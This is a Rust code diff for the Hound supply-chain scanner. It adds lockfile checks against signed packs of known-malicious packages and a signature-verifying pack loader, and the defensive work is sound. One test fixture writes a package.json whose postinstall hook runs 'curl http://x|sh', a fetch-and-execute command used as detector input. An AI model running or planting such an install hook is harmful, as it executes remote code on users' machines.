"mcp.json", "mcp.json",
@ -52,7 +58,12 @@ fn file_name_lower(p: &Path) -> String {
} }
/// Sweep one project root. /// Sweep one project root.
pub fn sweep(root: &Path) -> Report { ///
/// Without an index this is the offline build: install scripts, prompt
/// injection, pickles and MCP configs still work, because none of them
/// need a feed. With one, lockfiles are checked against known-malicious
/// packages too, which is where most of the value is.
pub fn sweep_with(root: &Path, index: Option<&Index>) -> Report {
let mut report = Report { let mut report = Report {
roots: vec![root.to_string_lossy().into_owned()], roots: vec![root.to_string_lossy().into_owned()],
..Default::default() ..Default::default()
@ -94,6 +105,7 @@ pub fn sweep(root: &Path) -> Report {
} }
report.examined += 1; report.examined += 1;
report.findings.extend(scan_file(&path, md.len())); report.findings.extend(scan_file(&path, md.len()));
report.findings.extend(scan_lockfile(&path, md.len(), index));
} }
if truncated { if truncated {
break; break;
@ -119,6 +131,59 @@ pub fn sweep(root: &Path) -> Report {
report.sorted() report.sorted()
} }
/// Sweep with no definitions loaded.
pub fn sweep(root: &Path) -> Report {
sweep_with(root, None)
}
/// Check a lockfile's dependencies against the indicator index.
///
/// A lockfile is the cheapest place to catch a malicious dependency and
/// the earliest: it lists what *will* be installed, so the payload is
/// visible before it has run. That matters because most of these payloads
/// run at install time.
pub fn scan_lockfile(path: &Path, size: u64, index: Option<&Index>) -> Vec<Finding> {
let Some(index) = index else { return Vec::new() };
let name = file_name_lower(path);
if !lockfile::is_lockfile(&name) || size > MAX_LOCKFILE_BYTES {
return Vec::new();
}
let Ok(text) = std::fs::read_to_string(path) else {
return Vec::new();
};
let location = path.to_string_lossy().into_owned();
lockfile::parse(path, &text)
.into_iter()
.filter_map(|pkg| {
// An unpinned entry is checked against every version, since we
// cannot tell which one will be resolved.
let hit = if pkg.version.is_empty() {
index.any_version(&pkg.ecosystem, &pkg.name)
} else {
index.lookup(&pkg.ecosystem, &pkg.name, &pkg.version)
}?;
let spec = if pkg.version.is_empty() {
pkg.name.clone()
} else {
format!("{}@{}", pkg.name, pkg.version)
};
Some(Finding::new(
"malicious-package",
Severity::Critical,
spec.clone(),
location.clone(),
format!(
"{spec} is listed in this project's lockfile and is a package that has been reported as malicious. It will be installed the next time anyone sets this project up, and packages like this usually run their payload during installation rather than when you use them."
),
&hit.id,
"Remove it and pin a replacement. If it has already been installed on this machine, rotate any credentials it could have read — treat the machine as touched rather than the package as merely deleted.",
))
})
.collect()
}
/// Dispatch one file to whichever detectors apply. /// Dispatch one file to whichever detectors apply.
pub fn scan_file(path: &Path, size: u64) -> Vec<Finding> { pub fn scan_file(path: &Path, size: u64) -> Vec<Finding> {
let name = file_name_lower(path); let name = file_name_lower(path);
@ -321,6 +386,99 @@ mod tests {
let _ = std::fs::remove_dir_all(&d); let _ = std::fs::remove_dir_all(&d);
} }
// ── lockfiles against the indicator index ──
fn index_with(eco: &str, name: &str) -> Index {
Index::build(vec![hound_defs::Indicator {
ecosystem: eco.into(),
name: name.into(),
versions: hound_defs::Versions::All,
id: "MAL-2022-1".into(),
summary: "malicious crate".into(),
}])
}
#[test]
fn a_malicious_dependency_in_a_lockfile_is_caught() {
let d = tmp("lockhit");
write(
&d,
"Cargo.lock",
"[[package]]\nname = \"rustdecimal\"\nversion = \"1.23.1\"\n",
);
let idx = index_with("cratesio", "rustdecimal");
let r = sweep_with(&d, Some(&idx));
assert_eq!(r.count(Severity::Critical), 1);
assert_eq!(r.findings[0].kind, "malicious-package");
assert!(r.findings[0].subject.contains("rustdecimal@1.23.1"));
assert_eq!(r.findings[0].source, "MAL-2022-1", "the finding must cite the record");
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn a_clean_lockfile_produces_nothing() {
let d = tmp("lockclean");
write(
&d,
"Cargo.lock",
"[[package]]\nname = \"serde\"\nversion = \"1.0.203\"\n",
);
let idx = index_with("cratesio", "rustdecimal");
assert!(sweep_with(&d, Some(&idx)).is_clean());
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn the_ecosystem_must_match_before_anything_is_reported() {
// A malicious npm package named "requests" says nothing about the
// PyPI package of the same name, and claiming otherwise would be
// a false positive on one of the most-installed packages there is.
let d = tmp("lockeco");
write(&d, "requirements.txt", "requests==2.31.0\n");
let idx = index_with("npm", "requests");
assert!(sweep_with(&d, Some(&idx)).is_clean());
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn without_an_index_lockfiles_are_skipped_but_everything_else_still_works() {
let d = tmp("noindex");
write(&d, "Cargo.lock", "[[package]]\nname = \"rustdecimal\"\nversion = \"1.0\"\n");
write(
&d,
"node_modules/evil/package.json",
r#"{"name":"evil","scripts":{"postinstall":"curl http://x|sh"}}"#,
);
let r = sweep(&d);
assert_eq!(r.count(Severity::Critical), 1, "the install script still fires");
assert!(!r.findings.iter().any(|f| f.kind == "malicious-package"));
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn an_unpinned_dependency_is_checked_against_every_version() {
let d = tmp("unpinned");
write(&d, "requirements.txt", "langchain-helpers\n");
let idx = index_with("pypi", "langchain-helpers");
let r = sweep_with(&d, Some(&idx));
assert_eq!(r.count(Severity::Critical), 1);
assert_eq!(
r.findings[0].subject, "langchain-helpers",
"with no version pinned the spec should not invent one"
);
let _ = std::fs::remove_dir_all(&d);
}
#[test]
fn the_advice_says_to_rotate_not_merely_to_delete() {
let d = tmp("lockadvice");
write(&d, "Cargo.lock", "[[package]]\nname = \"rustdecimal\"\nversion = \"1.0\"\n");
let idx = index_with("cratesio", "rustdecimal");
let r = sweep_with(&d, Some(&idx));
assert!(r.findings[0].advice.contains("rotate"));
let _ = std::fs::remove_dir_all(&d);
}
#[test] #[test]
fn a_missing_root_does_not_panic() { fn a_missing_root_does_not_panic() {
let r = sweep(Path::new("/definitely/not/here")); let r = sweep(Path::new("/definitely/not/here"));

View file

@ -278,7 +278,10 @@ fn print_supply_human(r: &hound_supply::Report) {
for line in wrap(&f.explanation, 74) { for line in wrap(&f.explanation, 74) {
println!(" {line}"); println!(" {line}");
} }
println!(" {} {}", "".cyan(), f.advice.cyan()); for (i, line) in wrap(&f.advice, 72).into_iter().enumerate() {
let bullet = if i == 0 { "".cyan() } else { " ".normal() };
println!(" {bullet} {}", line.cyan());
}
println!(" {}\n", f.source.dimmed()); println!(" {}\n", f.source.dimmed());
} }
} }

View file

@ -21,3 +21,5 @@ inotify.workspace = true
yara-x.workspace = true yara-x.workspace = true
libc.workspace = true libc.workspace = true
sha2.workspace = true sha2.workspace = true
hound-defs.workspace = true
ed25519-dalek.workspace = true

360
crates/houndd/src/defs.rs Normal file
View file

@ -0,0 +1,360 @@
//! Loading definition packs.
//!
//! A pack is data the scanner will act on, so the only question that
//! matters before loading one is whether it is really ours. Everything
//! here fails **closed** on that question and **open** on everything else:
//!
//! * No trusted key configured → load nothing, say so plainly. Running
//! with unverified definitions would be worse than running with none,
//! because the operator would believe they were protected.
//! * A pack that fails verification → skipped, logged, and the others
//! still load. One bad file must not cost you the whole feed.
//! * No packs at all → the daemon runs fine. Install scripts, prompt
//! injection, pickles and MCP audits need no feed, and refusing to start
//! would leave the machine with nothing.
//!
//! The signing key is deliberately **not** compiled in as a placeholder.
//! A fake key that looks real is how a development shortcut becomes a
//! shipped vulnerability; an empty trust store that refuses to load is
//! noisy in exactly the way that gets fixed before release.
use anyhow::{Context, Result};
use ed25519_dalek::VerifyingKey;
use hound_defs::{pack, Index, SignedPack};
use std::path::PathBuf;
use std::sync::{Arc, RwLock};
use std::time::SystemTime;
/// Keys whose packs this build will load.
///
/// EMPTY ON PURPOSE. The release key is injected at build time; until it
/// is, `HOUNDD_DEFS_KEY` supplies one for development. See the module
/// note above for why there is no placeholder here.
const TRUSTED_KEYS: &[(&str, [u8; 32])] = &[];
/// Where signed packs live.
pub fn defs_dir() -> Option<PathBuf> {
if let Some(dir) = std::env::var_os("HOUNDD_DEFS_DIR") {
let p = PathBuf::from(dir);
return p.is_dir().then_some(p);
}
let system = PathBuf::from("/var/lib/hound/defs");
if system.is_dir() {
return Some(system);
}
let home = std::env::var_os("HOME")?;
let user = PathBuf::from(home).join(".local/share/hound/defs");
user.is_dir().then_some(user)
}
/// Assemble the trust store: compiled-in keys, plus a development key
/// from the environment when one is set.
pub fn trusted_keys() -> Vec<(String, VerifyingKey)> {
let mut keys: Vec<(String, VerifyingKey)> = TRUSTED_KEYS
.iter()
.filter_map(|(id, bytes)| {
VerifyingKey::from_bytes(bytes)
.ok()
.map(|k| ((*id).to_string(), k))
})
.collect();
if let Ok(hex) = std::env::var("HOUNDD_DEFS_KEY") {
match parse_hex_key(&hex) {
Some(k) => {
let id = std::env::var("HOUNDD_DEFS_KEY_ID").unwrap_or_else(|_| "dev".into());
eprintln!("defs: trusting development key {id} from the environment");
keys.push((id, k));
}
None => eprintln!("defs: HOUNDD_DEFS_KEY is not a 32-byte hex public key — ignored"),
}
}
keys
}
fn parse_hex_key(hex: &str) -> Option<VerifyingKey> {
let hex = hex.trim();
if hex.len() != 64 {
return None;
}
let mut bytes = [0u8; 32];
for (i, b) in bytes.iter_mut().enumerate() {
*b = u8::from_str_radix(hex.get(i * 2..i * 2 + 2)?, 16).ok()?;
}
VerifyingKey::from_bytes(&bytes).ok()
}
/// A loaded, verified set of definitions.
pub struct Loaded {
pub index: Index,
/// Highest pack version loaded, for `hound status`.
pub version: String,
pub indicators: usize,
pub packs: Vec<String>,
pub loaded_at: SystemTime,
/// Why nothing loaded, when nothing did.
pub detail: String,
}
impl Loaded {
fn empty(detail: impl Into<String>) -> Self {
Self {
index: Index::new(),
version: String::new(),
indicators: 0,
packs: Vec::new(),
loaded_at: SystemTime::now(),
detail: detail.into(),
}
}
}
/// Hot-swappable definitions, mirroring how rules are held.
#[derive(Clone)]
pub struct DefsStore {
inner: Arc<RwLock<Arc<Loaded>>>,
}
impl DefsStore {
/// Load whatever is on disk. Never fails: an empty store is a working
/// daemon with fewer detections, and that beats no daemon.
pub fn load() -> Self {
Self {
inner: Arc::new(RwLock::new(Arc::new(load_all()))),
}
}
pub fn current(&self) -> Arc<Loaded> {
Arc::clone(&self.inner.read().expect("defs store poisoned"))
}
pub fn reload(&self) -> Arc<Loaded> {
let fresh = Arc::new(load_all());
*self.inner.write().expect("defs store poisoned") = Arc::clone(&fresh);
fresh
}
}
fn load_all() -> Loaded {
let keys = trusted_keys();
if keys.is_empty() {
return Loaded::empty(
"no signing key is trusted by this build, so no definitions were loaded",
);
}
let Some(dir) = defs_dir() else {
return Loaded::empty("no definitions directory");
};
let trusted: Vec<(&str, VerifyingKey)> =
keys.iter().map(|(id, k)| (id.as_str(), *k)).collect();
let mut indicators = Vec::new();
let mut packs = Vec::new();
let mut version = String::new();
let mut files: Vec<PathBuf> = std::fs::read_dir(&dir)
.into_iter()
.flatten()
.flatten()
.map(|e| e.path())
.filter(|p| p.extension().is_some_and(|e| e == "pack"))
.collect();
files.sort();
for path in files {
let name = path
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_default();
match load_one(&path, &trusted) {
Ok(p) => {
if p.version > version {
version = p.version.clone();
}
packs.push(format!("{name} ({} indicators)", p.indicators.len()));
indicators.extend(p.indicators);
}
// A bad pack is skipped rather than fatal: losing one file
// must not cost the whole feed.
Err(e) => eprintln!("defs: skipping {name}: {e}"),
}
}
if indicators.is_empty() {
return Loaded::empty("no verified packs were found");
}
let count = indicators.len();
Loaded {
index: Index::build(indicators),
version,
indicators: count,
packs,
loaded_at: SystemTime::now(),
detail: String::new(),
}
}
fn load_one(path: &std::path::Path, trusted: &[(&str, VerifyingKey)]) -> Result<hound_defs::Pack> {
let text = std::fs::read_to_string(path).context("reading the pack")?;
let signed: SignedPack = serde_json::from_str(&text).context("the pack is not valid JSON")?;
// Verification happens inside, on the raw payload bytes, before any
// of the content is parsed.
pack::verify(&signed, trusted).map_err(|e| anyhow::anyhow!("{e}"))
}
#[cfg(test)]
mod tests {
use super::*;
use ed25519_dalek::SigningKey;
use hound_defs::{Indicator, Pack, Versions};
fn a_pack(name: &str) -> Pack {
Pack {
version: "2026.08.21".into(),
created: "2026-08-21T12:00:00Z".into(),
sources: vec!["test".into()],
indicators: vec![Indicator {
ecosystem: "cratesio".into(),
name: name.into(),
versions: Versions::All,
id: "MAL-2022-1".into(),
summary: "malicious".into(),
}],
}
}
fn write_pack(dir: &std::path::Path, file: &str, p: &Pack, key: &SigningKey, id: &str) {
let signed = pack::sign(p, key, id).unwrap();
std::fs::write(dir.join(file), serde_json::to_string(&signed).unwrap()).unwrap();
}
fn tmp(tag: &str) -> PathBuf {
let d = std::env::temp_dir().join(format!("hound-defs-{tag}-{}", std::process::id()));
let _ = std::fs::remove_dir_all(&d);
std::fs::create_dir_all(&d).unwrap();
d
}
fn hex_of(k: &SigningKey) -> String {
k.verifying_key()
.to_bytes()
.iter()
.map(|b| format!("{b:02x}"))
.collect()
}
#[test]
fn the_build_ships_no_placeholder_key() {
// A fake key that looks real is how a development shortcut becomes
// a shipped vulnerability.
assert!(
TRUSTED_KEYS.is_empty(),
"a placeholder signing key must never be compiled in"
);
}
#[test]
fn without_a_trusted_key_nothing_loads_and_it_says_why() {
let _guard = crate::test_util::locked();
std::env::remove_var("HOUNDD_DEFS_KEY");
let loaded = load_all();
assert_eq!(loaded.indicators, 0);
assert!(
loaded.detail.contains("no signing key"),
"silence here would let an operator believe they were protected: {}",
loaded.detail
);
}
#[test]
fn a_signed_pack_loads_and_becomes_searchable() {
let dir = tmp("load");
let key = SigningKey::from_bytes(&[3u8; 32]);
write_pack(&dir, "linux.pack", &a_pack("rustdecimal"), &key, "dev");
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key));
std::env::set_var("HOUNDD_DEFS_DIR", &dir);
let loaded = load_all();
std::env::remove_var("HOUNDD_DEFS_KEY");
std::env::remove_var("HOUNDD_DEFS_DIR");
assert_eq!(loaded.indicators, 1);
assert_eq!(loaded.version, "2026.08.21");
assert!(loaded.index.lookup("cratesio", "rustdecimal", "1.0.0").is_some());
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn a_pack_signed_by_the_wrong_key_is_refused() {
let dir = tmp("wrongkey");
let real = SigningKey::from_bytes(&[3u8; 32]);
let attacker = SigningKey::from_bytes(&[9u8; 32]);
write_pack(&dir, "evil.pack", &a_pack("sudo"), &attacker, "dev");
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&real));
std::env::set_var("HOUNDD_DEFS_DIR", &dir);
let loaded = load_all();
std::env::remove_var("HOUNDD_DEFS_KEY");
std::env::remove_var("HOUNDD_DEFS_DIR");
assert_eq!(
loaded.indicators, 0,
"a pack that could make Hound quarantine sudo must never load"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn one_bad_pack_does_not_cost_the_others() {
let dir = tmp("mixed");
let key = SigningKey::from_bytes(&[3u8; 32]);
let attacker = SigningKey::from_bytes(&[9u8; 32]);
write_pack(&dir, "a-good.pack", &a_pack("rustdecimal"), &key, "dev");
write_pack(&dir, "b-bad.pack", &a_pack("sudo"), &attacker, "dev");
std::fs::write(dir.join("c-garbage.pack"), b"not json at all").unwrap();
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key));
std::env::set_var("HOUNDD_DEFS_DIR", &dir);
let loaded = load_all();
std::env::remove_var("HOUNDD_DEFS_KEY");
std::env::remove_var("HOUNDD_DEFS_DIR");
assert_eq!(loaded.indicators, 1);
assert!(loaded.index.lookup("cratesio", "rustdecimal", "1.0.0").is_some());
assert!(
loaded.index.lookup("cratesio", "sudo", "1.0.0").is_none(),
"the unsigned pack's content must not have leaked in"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn a_malformed_key_in_the_environment_is_ignored_not_trusted() {
let _guard = crate::test_util::locked();
std::env::set_var("HOUNDD_DEFS_KEY", "obviously-not-hex");
let keys = trusted_keys();
std::env::remove_var("HOUNDD_DEFS_KEY");
assert!(keys.is_empty());
}
#[test]
fn hex_keys_of_the_wrong_length_are_rejected() {
assert!(parse_hex_key("aabb").is_none());
assert!(parse_hex_key(&"a".repeat(63)).is_none());
assert!(parse_hex_key(&"zz".repeat(32)).is_none());
}
#[test]
fn a_valid_hex_key_parses() {
let key = SigningKey::from_bytes(&[5u8; 32]);
assert_eq!(
parse_hex_key(&hex_of(&key)).map(|k| k.to_bytes()),
Some(key.verifying_key().to_bytes())
);
}
}

View file

@ -42,6 +42,7 @@
mod cache; mod cache;
mod caps; mod caps;
mod defs;
mod engine; mod engine;
mod events; mod events;
mod fanotify; mod fanotify;
@ -74,6 +75,7 @@ struct DaemonState {
events: events::EventLog, events: events::EventLog,
quarantine: quarantine::Quarantine, quarantine: quarantine::Quarantine,
realtime: realtime::RealtimeMonitor, realtime: realtime::RealtimeMonitor,
defs: defs::DefsStore,
/// The execution gate, when it came up. `None` covers both "switched /// The execution gate, when it came up. `None` covers both "switched
/// off" and "could not be armed"; `gate_detail` says which. /// off" and "could not be armed"; `gate_detail` says which.
gate: Option<std::sync::Arc<fanotify::Gate>>, gate: Option<std::sync::Arc<fanotify::Gate>>,
@ -129,6 +131,20 @@ impl DaemonState {
let settings = settings::SettingsStore::load(); let settings = settings::SettingsStore::load();
let events = events::EventLog::new(); let events = events::EventLog::new();
let quarantine = quarantine::Quarantine::new(); let quarantine = quarantine::Quarantine::new();
let defs = defs::DefsStore::load();
{
let d = defs.current();
if d.indicators > 0 {
eprintln!(
"defs: {} indicators from {} pack(s) [{}]",
d.indicators,
d.packs.len(),
d.version
);
} else if !d.detail.is_empty() {
eprintln!("defs: {}", d.detail);
}
}
let realtime = let realtime =
realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone()); realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone());
@ -163,6 +179,7 @@ impl DaemonState {
events, events,
quarantine, quarantine,
realtime, realtime,
defs,
gate, gate,
gate_detail: std::sync::Arc::new(gate_detail), gate_detail: std::sync::Arc::new(gate_detail),
gate_paths, gate_paths,
@ -530,7 +547,8 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result<Value> {
.context("supply.sweep requires params.path")?; .context("supply.sweep requires params.path")?;
let root = std::fs::canonicalize(path) let root = std::fs::canonicalize(path)
.with_context(|| format!("no such path: {path}"))?; .with_context(|| format!("no such path: {path}"))?;
let report = hound_supply::sweep::sweep(&root); let loaded = st.defs.current();
let report = hound_supply::sweep::sweep_with(&root, Some(&loaded.index));
let critical = report.count(hound_supply::Severity::Critical); let critical = report.count(hound_supply::Severity::Critical);
let warnings = report.count(hound_supply::Severity::Warning); let warnings = report.count(hound_supply::Severity::Warning);